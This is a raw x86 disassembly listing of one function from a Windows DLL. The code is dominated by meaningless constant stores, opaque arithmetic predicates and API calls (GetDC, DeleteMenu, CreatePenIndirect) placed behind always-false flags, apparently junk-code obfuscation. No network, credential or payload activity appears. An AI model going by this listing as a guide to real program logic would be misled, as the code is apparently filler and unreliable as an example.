call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
push ebx
lea ecx, [ebp - 0x83c]
call fcn.10011c05
mov dword [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x24], 0xffff
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x1001e9f5
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xcd8], edi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1001e9e1
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001ea09
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1001ea42
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1001ea2e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xcd8], 0x51d69f42
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1001ea16
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001ea5c
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_UnionRect]
jmp 0x1001ea5c
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001ea5c
push 0xe00
push 0x2221
push eax
call dword [sym.imp.USER32.dll_DeleteMenu]
mov dword [ebp - 0x38], 0xea1dc7e9
lea ecx, [ebp - 0xdb8]
push esi
call fcn.10011c05
mov byte [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x28], 0x4c405b40
mov dword [ebp - 0x48], 0xc3707822
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x38], 0x7b8f5f49
mov dword [ebp - 0x5c], 0xfffffff8
mov dword [ebp - 0x44], 0xa98ceef
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1001ead5
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xdb8]
call fcn.10011c91
mov dword [eax], 0x7cb3f4f4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001eab7
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop edi
jmp 0x1001eaee
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xfa8], 0x2fdcba86
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1001eadd
dec dword [ebp - 0x44]
mov dword [ebp - 0x44], 0xffffffff
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x44]
push 0xfffffffffffffff7
pop ecx
cmp eax, ecx
jge 0x1001eb40
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], 0x725fc1c5
mov dword [ebp - 0x38], 0xdc23988f
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x1001eb2e
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x38], 0x7032f1ef
jmp 0x1001eb60
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1001eb58
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xfa8], 0xba27438e
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x1001eb47
dec dword [ebp - 0x30]
lea ecx, [ebp - 0xdb8]
mov byte [ebp - 4], 9
call fcn.10011c8c
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1001eb91
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x128], 0xfffffff8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1001eb79
xor eax, eax
mov dword [ebp - 0x1c], eax
push 4
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x2c], eax
pop ecx
jmp 0x1001ebb0
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x105c], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1001eba3
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 0x2ec8d7bb
setge cl
add ecx, dword [ebp - 0x1c]
imul eax, ecx, 0xffff
add eax, 0x3bd6
cmp eax, 0xd14cd495
mov eax, dword [ebp - 0x1c]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], eax
jl 0x1001ec22
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x105c], 0
jne 0x1001ec20
dec dword [ebp - 0x1c]
jns 0x1001ec0e
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1001ec3e
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x83c]
call fcn.10011c91
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1001ec27
mov dword [ebp - 0x3c], 0x53b26bdd
mov dword [ebp - 0x24], 0xfa8f90a3
mov dword [ebp - 0x40], 0xcfdef05d
mov dword [ebp - 0x48], 0x4b1f0599
mov dword [ebp - 0x3c], esi
jmp 0x1001edd2
mov dword [ebp - 0x18], 0x4ccb63e
mov dword [ebp - 0x28], 0xffff
mov dword [ebp - 0x18], esi
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, 0xfffffffc
setl cl
xor eax, eax
sub edx, ecx
test edx, edx
setle al
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0xffffffe7
jmp 0x1001edc5
xor eax, eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], eax
jmp 0x1001ecc4
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x47c], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x1001ecb3
mov dword [ebp - 0x18], 0x19
jmp 0x1001edb8
mov dword [ebp - 0x44], 0x2603
lea ecx, [ebp - 0x8cc]
push ebx
call fcn.10011c05
mov byte [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x38], 0x2dfce958
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1001ed18
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x8cc]
call fcn.10011c91
or dword [eax], 0xffffffff
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1001ecfd
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x1001ed6d
push eax
lea ecx, [ebp - 0x8cc]
call fcn.10011c91
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x478]
mov eax, dword [ebp - 0x47c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x474]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
sub edx, 0xea28c7ff
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0xffffffff
setg al
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x47c]
lea ecx, [ebp - 0x8cc]
mov eax, dword [ebp - 0x478]
mov eax, dword [ebp - 0x47c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x478]
xor eax, eax
push eax
call fcn.10011c91
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x40]
cmp eax, ecx
lea ecx, [ebp - 0x8cc]
setg dl
mov dword [ebp - 0x38], edx
mov byte [ebp - 4], 9
call fcn.10011c8c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x23
jne 0x1001ecd5
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1a
jne 0x1001eca9
dec dword [ebp - 0x3c]
push 0xfffffffffffffff9
pop eax
cmp dword [ebp - 0x3c], eax
jg 0x1001ec67
mov ebx, dword [sym.imp.GDI32.dll_CreatePenIndirect]
xor eax, eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0x12
je 0x1001f283
xor edi, edi
inc edi
mov dword [ebp - 0x2c], 0xc1d6b3bf
lea ecx, [ebp - 0x824]
mov dword [ebp - 0x40], 0xfffffffb
push edi
call fcn.10011c05
mov byte [ebp - 4], 0xc
xor eax, eax
mov dword [ebp - 0x38], 0xea1dc7e9
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001ee45
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x118], 0xfffffff8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001ee2c
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1001ee6b
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x824]
call fcn.10011c91
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1001ee4d
xor eax, eax
mov dword [ebp - 0x118], eax
jmp 0x1001eef2
mov dword [ebp - 0x40], 0x3d9b9503
mov dword [ebp - 0x44], 0xb780f885
mov dword [ebp - 0x44], esi
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x40]
inc ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x118]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, 0xfffb
setge cl
cmp eax, ecx
mov eax, dword [ebp - 0x40]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0xfaab39e
setne al
sub eax, dword [ebp - 0x40]
sub eax, 0x1dbdae4
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x118]
cmp dword [ebp - 0x118], 0x12
jne 0x1001ee73
mov ecx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x118]
imul ecx, eax
imul eax, dword [ebp - 0x118], 0xfc71
dec eax
neg eax
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x118]
add eax, 0xfff6
add eax, ecx
jne 0x1001ef35
cmp dword [ebp - 0x2c], eax
je 0x1001ef37
mov eax, edi
mov ecx, dword [ebp - 0x2c]
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x118]
cmp ecx, eax
lea ecx, [ebp - 0x824]
setge dl
mov dword [ebp - 0x118], edx
add edx, 0xc4e52cc
neg edx
sbb edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x40], edx
push eax
call fcn.10011c91
mov edx, dword [ebp - 0x40]
mov esi, eax
mov ecx, dword [ebp - 0x2c]
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0x824]
setne al
mov dword [esi], eax
mov eax, dword [ebp - 0x2c]
xor eax, eax
push eax
call fcn.10011c91
xor ecx, ecx
cmp dword [eax], 0xc752
setge cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x824]
mov byte [ebp - 4], 9
call fcn.10011c8c
push 3
pop esi
mov dword [ebp - 0x40], 0x3d9b9503
lea ecx, [ebp - 0x570]
mov dword [ebp - 0x1c], 0xdd1e1e87
push esi
call fcn.10011c05
mov byte [ebp - 4], 0xd
xor eax, eax
mov dword [ebp - 0x44], 0xfffffffc
mov dword [ebp - 0x38], 0x7d77fc7d
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1001effc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x92c], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001efe4
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1001f022
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x570]
call fcn.10011c91
mov dword [eax], 0xc3ee
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001f004
xor eax, eax
push 2
pop esi
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x1001f05c
push eax
lea ecx, [ebp - 0x570]
call fcn.10011c91
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp + ecx*4 - 0x92c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x92c], 0
jne 0x1001f05a
dec dword [ebp - 0x1c]
push 0
pop eax
jns 0x1001f02d
xor eax, eax
mov dword [ebp - 0x1c], 0xd
cmp dword [ebp - 0x1c], 0x15
jl 0x1001f141
jmp 0x1001f071
xor eax, eax
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x44], 0x216709e1
mov dword [ebp - 0x30], 0x8dad
mov dword [ebp - 0x50], 0xffffffff
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001f09b
push eax
call ebx
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1001f10e
cmp dword [ebp - 0x928], eax
je 0x1001f0ab
mov eax, dword [ebp - 0x18]
push esi
lea ecx, [ebp - 0x570]
call fcn.10011c91
xor eax, eax
lea ecx, [ebp - 0x570]
push eax
call fcn.10011c91
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp ecx, dword [eax]
setl dl
cmp edx, 0xae3d4752
jb 0x1001f0ee
xor eax, eax
lea ecx, [ebp - 0x570]
push eax
call fcn.10011c91
cmp dword [eax], 0
je 0x1001f0ee
mov eax, edi
jmp 0x1001f0f0
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x924]
cmp dword [ebp - 0x18], 0xa6f63eed
je 0x1001f10e
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1001f11f
mov edx, edi
cmp dword [ebp - 0x18], eax
jne 0x1001f121
mov edx, eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, edx
setl cl
mov dword [ebp - 0x50], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x15
jge 0x1001f06f
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 9
call fcn.10011c8c
mov dword [ebp - 0x44], 0xb780f885
mov dword [ebp - 0x2c], 0xe0648261
push 5
pop eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x38], 0xf2e5664d
mov dword [ebp - 0x48], 0x5872d9ee
mov dword [ebp - 0x48], 0x3d37a5b7
mov dword [ebp - 0x30], 0xfe46
mov dword [ebp - 0x2c], 0xfffffff3
jmp 0x1001f1ad
mov dword [ebp - 0x38], 3
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1001f19e
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x2c], 0x12
jg 0x1001f189
dec dword [ebp - 0x30]
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
jge 0x1001f1da
push 0xfffffffffffffff7
pop ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xd0], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x1001f1c6
xor eax, eax
mov dword [ebp - 0xd0], eax
jmp 0x1001f1fd
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001f1f7
push eax
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
xor eax, eax
inc dword [ebp - 0xd0]
cmp dword [ebp - 0xd0], 0x18
jge 0x1001f1e2
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x40]
inc ecx
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x128]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, 0xfffb
setge cl
cmp eax, ecx
mov eax, dword [ebp - 0x40]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0xfaab39e
setne al
sub eax, dword [ebp - 0x40]
sub eax, 0x1dbdae4
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x128]
cmp dword [ebp - 0x128], 0x12
jne 0x1001edfc
jmp 0x1001f286
xor edi, edi
inc edi
mov ecx, dword [ebp - 0x128]
mov eax, dword [ebp - 0x128]
imul ecx, eax
imul eax, dword [ebp - 0x128], 0xfc71
dec eax
neg eax
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x128]
add eax, 0xfff6
add eax, ecx
jne 0x1001f2bc
cmp dword [ebp - 0x14], eax
je 0x1001f2be
mov eax, edi
mov ecx, dword [ebp - 0x14]
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x128]
cmp ecx, eax
lea ecx, [ebp - 0x83c]
setge dl
mov dword [ebp - 0x128], edx
add edx, 0xc4e52cc
neg edx
sbb edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x40], edx
push eax
call fcn.10011c91
mov edx, dword [ebp - 0x40]
mov esi, eax
mov ecx, dword [ebp - 0x14]
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0x83c]
setne al
mov dword [esi], eax
mov eax, dword [ebp - 0x14]
xor eax, eax
push eax
call fcn.10011c91
xor ecx, ecx
cmp dword [eax], 0xc752
setge cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x83c]
or dword [ebp - 4], 0xffffffff
call fcn.10011c8c
xor eax, eax
mov dword [ebp - 0x24], 0x3eca
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1001f35d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x10f8], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001f344
xor eax, eax
inc dword [ebp - 0x24]
mov edi, dword [sym.imp.USER32.dll_ReleaseCapture]
push 2
mov dword [ebp - 0x24], eax
pop esi
jmp 0x1001f3ad
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x1001f390
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001f38b
push eax
call ebx
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1001f37d
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x1001f3aa
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001f3a5
call edi
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1001f398
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x1001f36e
xor ebx, ebx
lea ecx, [ebp - 0x420]
inc ebx
mov dword [ebp - 0x20], ebx
push 3
call fcn.10011c05
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x44], 0xffffffff
push 0xfffffffffffffff7
pop eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x50], 0x7d69fdb8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1001f410
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc4], 0xb969
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1001f3f8
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001f435
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x420]
call fcn.10011c91
and dword [eax], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001f419
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001f459
push 0x1d5c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x1001f50d
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xc4], ebx
jge 0x1001f488
push esi
lea ecx, [ebp - 0x420]
call fcn.10011c91
mov eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0x420]
push ebx
call fcn.10011c91
mov edx, dword [ebp - 0x20]
xor ebx, ebx
mov ecx, dword [ebp - 0x20]
cmp edx, ecx
push esi
setg bl
sub ebx, dword [eax]
mov eax, dword [ebp - 0xc4]
neg ebx
sbb ebx, ebx
xor edx, edx
neg ebx
cmp ebx, eax
mov eax, dword [ebp - 0x38]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x420]
call fcn.10011c91
mov edx, dword [ebp - 0x44]
mov esi, eax
mov ecx, dword [ebp - 0x20]
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0x420]
push 2
setne al
xor ebx, ebx
cmp eax, dword [esi]
pop esi
push esi
setne bl
call fcn.10011c91
xor ecx, ecx
cmp ebx, dword [eax]
setge cl
xor ebx, ebx
mov dword [ebp - 0x44], ecx
inc ebx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x20]
cmp eax, 0xf806
jg 0x1001f520
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x420]
mov eax, dword [ebp - 0xc4]
push esi
call fcn.10011c91
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x420]
push esi
call fcn.10011c91
xor ecx, ecx
cmp dword [eax], ecx
setle cl
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0x420]
or dword [ebp - 4], 0xffffffff
call fcn.10011c8c
mov dword [ebp - 0x20], ebx
lea ecx, [ebp - 0x348]
push 3
call fcn.10011c05
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x44], 0xffffffff
push 0xfffffffffffffff7
pop eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x50], 0x7d69fdb8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1001f5b8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xb8], 0xb969
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1001f5a0
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1001f5dd
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x348]
call fcn.10011c91
and dword [eax], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001f5c1
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001f601
push 0x1d5c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x1001f6b5
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xb8], ebx
jge 0x1001f630
push esi
lea ecx, [ebp - 0x348]
call fcn.10011c91
mov eax, dword [ebp - 0xb8]
lea ecx, [ebp - 0x348]
push ebx
call fcn.10011c91
mov edx, dword [ebp - 0x20]
xor ebx, ebx
mov ecx, dword [ebp - 0x20]
cmp edx, ecx
push esi
setg bl
sub ebx, dword [eax]
mov eax, dword [ebp - 0xb8]
neg ebx
sbb ebx, ebx
xor edx, edx
neg ebx
cmp ebx, eax
mov eax, dword [ebp - 0x38]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x348]
call fcn.10011c91
mov edx, dword [ebp - 0x44]
mov esi, eax
mov ecx, dword [ebp - 0x20]
xor eax, eax
cmp edx, ecx
lea ecx, [ebp - 0x348]
push 2
setne al
xor ebx, ebx
cmp eax, dword [esi]
pop esi
push esi
setne bl
call fcn.10011c91
xor ecx, ecx
cmp ebx, dword [eax]
setge cl
xor ebx, ebx
mov dword [ebp - 0x44], ecx
inc ebx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x20]
cmp eax, 0xf806
jg 0x1001f6c8
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x348]
mov eax, dword [ebp - 0xb8]
push esi
call fcn.10011c91
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x348]
push esi
call fcn.10011c91
xor ecx, ecx
cmp dword [eax], ecx
setle cl
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0x348]
or dword [ebp - 4], 0xffffffff
call fcn.10011c8c
xor eax, eax
mov dword [ebp - 0x24], 0x3eca
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1001f730
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1110], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001f717
xor eax, eax
inc dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
jmp 0x1001f77b
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x1001f75e
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001f759
push eax
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1001f747
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x1001f778
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x1001f773
call edi
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1001f766
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x1001f738
mov dword [ebp - 0x40], 0xeee2
lea ecx, [ebp - 0xa3c]
mov dword [ebp - 0x28], 0x7f39
mov dword [ebp - 0x14], 0xa8db8846
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x38], ebx
push 3
call fcn.10011c05
xor eax, eax
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1001f7d1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6d8], 0xbef7d651
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001f7b9
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1001f7ed
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xa3c]
call fcn.10011c91
mov dword [eax], 0x8d58945c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1001f7d6
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x14]
cmp ecx, eax
je 0x1001f836
mov eax, dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x6d8]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
setg dl
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x40]
neg eax
cmp eax, dword [ebp - 0x28]
jl 0x1001f839
mov eax, dword [ebp - 0x28]
mov esi, dword [ebp - 0x38]
lea ecx, [ebp - 0xa3c]
mov dword [ebp - 0x6d4], esi
push ebx
call fcn.10011c91
push 2
